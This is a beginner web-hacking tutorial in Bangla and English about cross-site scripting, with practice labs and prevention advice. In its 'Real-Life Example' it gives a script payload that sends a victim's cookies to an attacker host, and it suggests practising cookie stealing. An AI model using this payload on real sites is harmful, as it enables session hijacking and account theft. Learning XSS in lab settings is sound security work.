🌐 Level 3 – XSS (Cross Site Scripting) Explained – Web Hacking – Bangla Guide

✅ Web Hacking Level 3: XSS (Cross Site Scripting) – Bangla Guide

📌 Level Title: XSS (Cross Site Scripting)
📘 Category: Web Hacking
🌐 Language: Bangla + English
📥 Practice Tools: DVWA, PortSwigger XSS Labs, OWASP Juice Shop
🔐 Goal: XSS দিয়ে Web Page এর ভিতরে Malicious Code Inject করা শিখা

---

🧠 What is XSS? (English + Bangla)

English:
XSS (Cross Site Scripting) is a web vulnerability that allows an attacker to inject malicious scripts (usually JavaScript) into webpages viewed by other users.

Bangla:
XSS বা Cross Site Scripting হলো এমন একটি দুর্বলতা, যার মাধ্যমে একজন Attacker কোনো Web Page-এ JavaScript স্ক্রিপ্ট ইনজেক্ট করতে পারে। ওই Page যখন অন্য কেউ দেখে, তখন ঐ স্ক্রিপ্ট তার Browser-এ Execute হয়। এতে Cookie চুরি, Fake Login ইত্যাদি করা যায়।

---

🔥 Types of XSS (ধরনসমূহ)

XSS Type	Description	বাংলা ব্যাখ্যা
Stored XSS	Script saved on server (e.g., in comments)	স্ক্রিপ্ট সার্ভারে জমা থাকে
Reflected XSS	Script appears in URL and executes immediately	ইউআরএল-এ ইনজেক্ট হয়, ক্লিক করলে এক্সিকিউট হয়
DOM-Based XSS	Runs on client-side using JavaScript	ক্লায়েন্ট ব্রাউজারে JavaScript দিয়ে রান হয়

---

🧪 XSS Attack Example (Click-to-Copy)

🔗 Example URL:

http://victim.com/search.php?q=<script>alert('XSS')</script>

Click-to-Copy:

<script>alert('XSS')</script>

⛔ এই Script victim এর Browser এ alert Pop-up তৈরি করবে।

---

🧰 Tools for Practicing XSS

• 🔐 DVWA (Damn Vulnerable Web App)
• ⚔️ bWAPP (Buggy Web App)
• 🧃 OWASP Juice Shop
• 🐞 PortSwigger XSS Labs

---

💣 Real-Life Example

Comment Box এ নিচের কোড দিলে – Cookie চুরি করা যায়:

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

---

⚠️ XSS এর বিপদ কী?

• ✅ Victim এর Cookies চুরি হতে পারে
• ✅ Fake Login Page দেখানো যায়
• ✅ Victim এর Account Hack করা যায়
• ✅ Web App-এর পুরা Control নেওয়া যায়

---

🛡️ How to Prevent XSS?

Method	Explanation
✅ Input Validation	User Input Properly Check করতে হবে
✅ Output Encoding	Display করার আগে Encode করতে হবে
✅ Content Security Policy (CSP)	Script Execution নিয়ন্ত্রণে আনা যায়
✅ Escape Characters	<, >, ", ', & এগুলো Escape করতে হবে

---

🧠 Practice Task

1. DVWA তে Reflected XSS লেভেল Complete করো
2. <script>alert("Hello XSS")</script> দিয়ে Input Test করো
3. Alert Pop-up দেখলে বুঝবে Success হয়েছে
4. Stored XSS এবং Cookie Stealing করে প্র্যাকটিস বাড়াও

---

📌 Next Level: CSRF Attack (Level 4)